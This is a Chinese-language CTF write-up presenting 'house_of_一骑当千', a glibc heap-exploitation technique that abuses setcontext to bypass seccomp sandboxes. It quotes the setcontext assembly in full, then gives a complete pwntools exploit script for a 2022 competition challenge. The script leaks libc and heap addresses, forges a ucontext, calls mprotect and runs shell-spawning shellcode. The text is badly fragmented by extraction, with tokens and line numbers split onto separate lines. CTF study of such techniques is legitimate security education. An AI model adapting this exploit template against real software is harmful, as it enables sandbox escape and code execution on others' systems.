沙盒是现在pwn题中绕不过的砍,前面提出的house_of_魑魅魍魉 和 house_of_琴瑟琵琶
都没有提供绕过沙盒的方法,尤其是house_of_琴瑟琵琶
只能控制一个参数,目前看来基本上无法绕过沙盒。而house_of_一骑当千
是一种只用setcontext
就定能绕过沙盒攻击手法。
setcontext+53
是打pwn
中常用的技术,主要是依靠程序中如下代码段来实现寄存器赋值。在2.31后变成了setcontext+61
,主要控制的寄存器也从rdi
变成了rdx
。setcontext+53
是执行orw
的重要攻击手段,由于属于常见方式就不再赘述。
setcontext+53
作为常用的攻击手段,在版本迭代中主要参数已经从rdi
修复成rdx
,rdx
是一个函数的第3个参数。但是,在实际攻击过程中,只能控制一个参数,所以rdx
不可控。目前,很多利用的方法,例如house_of_KIWI house_of_cat
等中rdx
都是编译级别的利用方式,可以很容易被修复,或者编译器发生变化也可能不再能使用。 house_of_KIWI
出现很大一部分是解决了rdx
的问题。house_of_emma
也必须借助 house_of_KIWI
才能绕过seccomp
。
因为setcontext
是汇编所写(下面会详写),显然rdi
修复成rdx
也是GNU
有意而为,今后也可能被修改成rcx
甚至r15
,靠编译级别的攻击手段显然不能长久。如何能够完美绕过沙盒呢?
以我们关注的setcontext
为例 ,它是由汇编所写,在 /sysdeps/unix/sysv/linux/x86_64/setcontext.S
中。剥离复杂的宏之后发现,除了信号量系统调(__NR_rt_sigprocmask
)用外,无非就是一些赋值操作。(代码虽然很长,但为了展现全貌我就不做删减了,大家关注中文注释的地方)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
ENTRY(__setcontext)
/
*
Save argument since syscall will destroy it.
*
/
pushq
%
rdi
cfi_adjust_cfa_offset(
8
)
/
*
Set
the signal mask with
rt_sigprocmask (SIG_SETMASK, mask, NULL, _NSIG
/
8
).
*
/
leaq oSIGMASK(
%
rdi),
%
rsi
xorl
%
edx,
%
edx
movl $SIG_SETMASK,
%
edi
movl $_NSIG8,
%
r10d
movl $__NR_rt_sigprocmask,
%
eax
syscall
/
*
Pop the pointer into RDX. The choice
is
arbitrary, but
leaving RDI
and
RSI available
for
use later can avoid
shuffling values.
*
/
popq
%
rdx
cfi_adjust_cfa_offset(
-
8
)
cmpq $
-
4095
,
%
rax
/
*
Check
%
rax
for
error.
*
/
jae SYSCALL_ERROR_LABEL
/
*
Jump to error handler
if
error.
*
/
/
*
Restore the floating
-
point context. Not the registers, only the
rest.
*
/
movq oFPREGS(
%
rdx),
%
rcx
fldenv (
%
rcx)
ldmxcsr oMXCSR(
%
rdx)
/
*
Load the new stack pointer, the preserved registers
and
registers used
for
passing args.
*
/
cfi_def_cfa(
%
rdx,
0
)
cfi_offset(
%
rbx,oRBX)
cfi_offset(
%
rbp,oRBP)
cfi_offset(
%
r12,oR12)
cfi_offset(
%
r13,oR13)
cfi_offset(
%
r14,oR14)
cfi_offset(
%
r15,oR15)
cfi_offset(
%
rsp,oRSP)
cfi_offset(
%
rip,oRIP)
/
*
这里往下就是 setcontext
+
61
的地方
*
/
movq oRSP(
%
rdx),
%
rsp
movq oRBX(
%
rdx),
%
rbx
movq oRBP(
%
rdx),
%
rbp
movq oR12(
%
rdx),
%
r12
movq oR13(
%
rdx),
%
r13
movq oR14(
%
rdx),
%
r14
movq oR15(
%
rdx),
%
r15
/
*
Check
if
shadow stack
is
enabled.
*
/
testl $X86_FEATURE_1_SHSTK,
%
fs:FEATURE_1_OFFSET
jz L(no_shstk)
/
*
If the base of the target shadow stack
is
the same as the
base of the current shadow stack, we unwind the shadow
stack. Otherwise it
is
a stack switch
and
we look
for
a
restore token.
*
/
movq oSSP(
%
rdx),
%
rsi
movq
%
rsi,
%
rdi
/
*
Get the base of the target shadow stack.
*
/
movq (oSSP
+
8
)(
%
rdx),
%
rcx
cmpq
%
fs:SSP_BASE_OFFSET,
%
rcx
je L(unwind_shadow_stack)
L(find_restore_token_loop):
/
*
Look
for
a restore token.
*
/
movq
-
8
(
%
rsi),
%
rax
andq $
-
8
,
%
rax
cmpq
%
rsi,
%
rax
je L(restore_shadow_stack)
/
*
Try the
next
slot.
*
/
subq $
8
,
%
rsi
jmp L(find_restore_token_loop)
L(restore_shadow_stack):
/
*
Pop
return
address
from
the shadow stack since setcontext
will
not
return
.
*
/
movq $
1
,
%
rax
incsspq
%
rax
/
*
Use the restore stoken to restore the target shadow stack.
*
/
rstorssp
-
8
(
%
rsi)
/
*
Save the restore token on the old shadow stack. NB: This
restore token may be checked by setcontext
or
swapcontext
later.
*
/
saveprevssp
/
*
Record the new shadow stack base that was switched to.
*
/
movq (oSSP
+
8
)(
%
rdx),
%
rax
movq
%
rax,
%
fs:SSP_BASE_OFFSET
L(unwind_shadow_stack):
rdsspq
%
rcx
subq
%
rdi,
%
rcx
je L(skip_unwind_shadow_stack)
negq
%
rcx
shrq $
3
,
%
rcx
movl $
255
,
%
esi
L(loop):
cmpq
%
rsi,
%
rcx
cmovb
%
rcx,
%
rsi
incsspq
%
rsi
subq
%
rsi,
%
rcx
ja L(loop)
L(skip_unwind_shadow_stack):
movq oRSI(
%
rdx),
%
rsi
movq oRDI(
%
rdx),
%
rdi
movq oRCX(
%
rdx),
%
rcx
movq oR8(
%
rdx),
%
r8
movq oR9(
%
rdx),
%
r9
/
*
Get the
return
address
set
with getcontext.
*
/
movq oRIP(
%
rdx),
%
r10
/
*
Setup
finally
%
rdx.
*
/
movq oRDX(
%
rdx),
%
rdx
/
*
Check
if
return
address
is
valid
for
the case when setcontext
is
invoked
from
__start_context with linked context.
*
/
rdsspq
%
rax
cmpq (
%
rax),
%
r10
/
*
Clear RAX to indicate success. NB: Don't use xorl to keep
EFLAGS
for
jne.
*
/
movl $
0
,
%
eax
jne L(jmp)
/
*
Return to the new context
if
return
address valid.
*
/
pushq
%
r10
ret
L(jmp):
/
*
Jump to the new context directly.
*
/
jmp
*
%
r10
L(no_shstk):
/
*
The following ret should
return
to the address
set
with
getcontext. Therefore push the address on the stack.
*
/
movq oRIP(
%
rdx),
%
rcx
pushq
%
rcx
movq oRSI(
%
rdx),
%
rsi
movq oRDI(
%
rdx),
%
rdi
movq oRCX(
%
rdx),
%
rcx
movq oR8(
%
rdx),
%
r8
movq oR9(
%
rdx),
%
r9
/
*
Setup
finally
%
rdx.
*
/
movq oRDX(
%
rdx),
%
rdx
/
*
End FDE here, we fall into another context.
*
/
cfi_endproc
cfi_startproc
/
*
Clear rax to indicate success.
*
/
xorl
%
eax,
%
eax
ret
PSEUDO_END(__setcontext)
weak_alias (__setcontext, setcontext)
在setcontext
函数中,除了对mcontext_t uc_mcontext;
sigset_t uc_sigmask;
struct _libc_fpstate __fpregs_mem __ssp
这4个进行操作外,并没有对其他部分操作,也就是我们可以不关心其他的值。
喜闻乐见的抄板子时间又到了。根据上面setcontext
分析可以看出,我们只需要绕过关键的几个地方就能够实现和setcontext+53
一样的攻击效果。假设,没有禁用mprotect
,只有一次的largebin_attack
的情况来攻击IO,模板如下。
我们以2022强网拟态决赛_vpn
为例(题目内部附件叫:pminote_mc
)。题目虽然使用了llvm
进行了各种混淆手段,但仍不能摆脱屌丝菜单题的宿命,经过手动测试可以发现简单回复一下结构体和有关操作。结构体如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from
pwn
import
*
import
pwn_script
from
sys
import
argv
import
argparse
s
=
lambda
data: io.send(data)
sa
=
lambda
delim, data: io.sendafter(delim, data)
sl
=
lambda
data: io.sendline(data)
sla
=
lambda
delim, data: io.sendlineafter(delim, data)
r
=
lambda
num
=
4096
: io.recv(num)
ru
=
lambda
delims, drop
=
True
: io.recvuntil(delims, drop)
itr
=
lambda
: io.interactive()
uu32
=
lambda
data: u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data: u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name, addr: log.success(
'{} = {:#x}'
.
format
(name, addr))
menu_last_str
=
'Your choice :'
add_heap_str
=
'1'
delete_heap_str
=
'2'
show_heap_str
=
'3'
def
add_heap(size,content):
ru(menu_last_str)
sl(add_heap_str)
ru(
'Note size :'
)
s(
str
(size))
ru(
'Content :'
)
s(content)
def
show_heap(index):
ru(menu_last_str)
sl(show_heap_str)
ru(
'Index :'
)
sl(
str
(index))
def
delete_heap(index):
ru(menu_last_str)
sl(delete_heap_str)
ru(
'Index :'
)
sl(
str
(index))
def
exit_pro():
ru(menu_last_str)
sl(
'5'
)
if
__name__
=
=
'__main__'
:
pwn_arch
=
'amd64'
pwn_script.init_pwn_linux(pwn_arch)
pwnfile
=
'./pmlnote_mc'
ip_port
=
'111.200.241.244:61080'
__ip
=
ip_port.split(
":"
)[
0
]
__port
=
ip_port.split(
":"
)[
1
]
io
=
process(pwnfile)
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
context.binary
=
pwnfile
libcfile
=
'/lib/x86_64-linux-gnu/libc.so.6'
libc
=
ELF(libcfile)
system_addr
=
0x4006D0
print_note_content
=
0x400870
print_note
=
0x407700
puts_addr
=
0x4006C0
heap_list
=
0x6116c0
system_got
=
0x611030
stdout
=
0x611680
printf_sym
=
elf.sym[
"printf"
]
init
=
0x409AC0
add_heap(
0x500
,b
"a"
*
0x10
+
b
"/bin/sh\x00"
)
add_heap(
0x500
,
"b"
*
0x10
)
delete_heap(
0
)
delete_heap(
1
)
add_heap(
0x10
,p64(print_note_content)
+
p64(stdout))
show_heap(
0
)
stdout_addr
=
u64(ru(
"\n"
).ljust(
8
,b
"\x00"
))
libc_base_addr
=
stdout_addr
-
0x21a780
print
(
"libc_base_addr is :"
,
hex
(libc_base_addr))
setcontext_addr
=
libc_base_addr
+
libc.sym[
"setcontext"
]
environ_addr
=
libc_base_addr
+
libc.sym[
"environ"
]
gets_addr
=
libc_base_addr
+
libc.sym[
"gets"
]
free_hook_addr
=
libc_base_addr
+
libc.sym[
"__free_hook"
]
unsortbin_addr
=
libc_base_addr
+
0x219ce0
mprotect_addr
=
libc_base_addr
+
libc.sym[
"mprotect"
]
delete_heap(
2
)
add_heap(
0x10
,p64(print_note_content)
+
p64(heap_list))
show_heap(
0
)
heap_addr
=
u64(ru(
"\n"
).ljust(
8
,b
"\x00"
))
-
0x2a0
print
(
"heap_addr is :"
,
hex
(heap_addr))
delete_heap(
3
)
add_heap(
0x10
,p64(gets_addr)
+
p64(heap_addr
-
0x200
))
show_heap(
0
)
ucontext
=
b''
ucontext
+
=
p64(setcontext_addr)
+
p64(
0
)
*
4
mprotect_len
=
0x20000
__rdi
=
heap_addr
__rsi
=
mprotect_len
__rbp
=
heap_addr
+
mprotect_len
__rbx
=
0
__rdx
=
7
__rcx
=
0
__rax
=
0
fake_io_addr
=
heap_addr
+
0x2a0
__rsp
=
fake_io_addr
+
0xe8
__rip
=
mprotect_addr
ucontext
+
=
p64(
0
)
*
8
ucontext
+
=
p64(__rdi)
ucontext
+
=
p64(__rsi)
ucontext
+
=
p64(__rbp)
ucontext
+
=
p64(__rbx)
ucontext
+
=
p64(__rdx)
ucontext
+
=
p64(__rcx)
ucontext
+
=
p64(__rax)
ucontext
+
=
p64(__rsp)
ucontext
+
=
p64(__rip)
ucontext
=
ucontext.ljust(
0xe0
,b
'\x00'
)
ucontext
+
=
p64(heap_addr
+
0x6000
)
print
(
"ucontext len is:"
,
hex
(
len
(ucontext)))
payload
=
ucontext
print
(
"IO_FILE len is"
,
hex
(
len
(payload)))
shellcode
=
asm(shellcraft.sh())
payload
+
=
p64(fake_io_addr
+
len
(payload)
+
0x8
)
payload
+
=
bytes(shellcode)
pause()
sl(payload)
show_heap(
0
)
itr()
这一种方法只是为上面的例子一个延伸,当能够多次执行函数,而第一个参数又固定,可以使用getcontext + gets + gets + setcontext
的通用解决方案,结合EOP使用。
就像我开头提到的,在目前情况下house_of_魑魅魍魉 和 house_of_琴瑟琵琶
是很难有绕过沙盒的方法,但如果和house_of_一骑当千
结合使用,沙盒绕过将是易如反掌。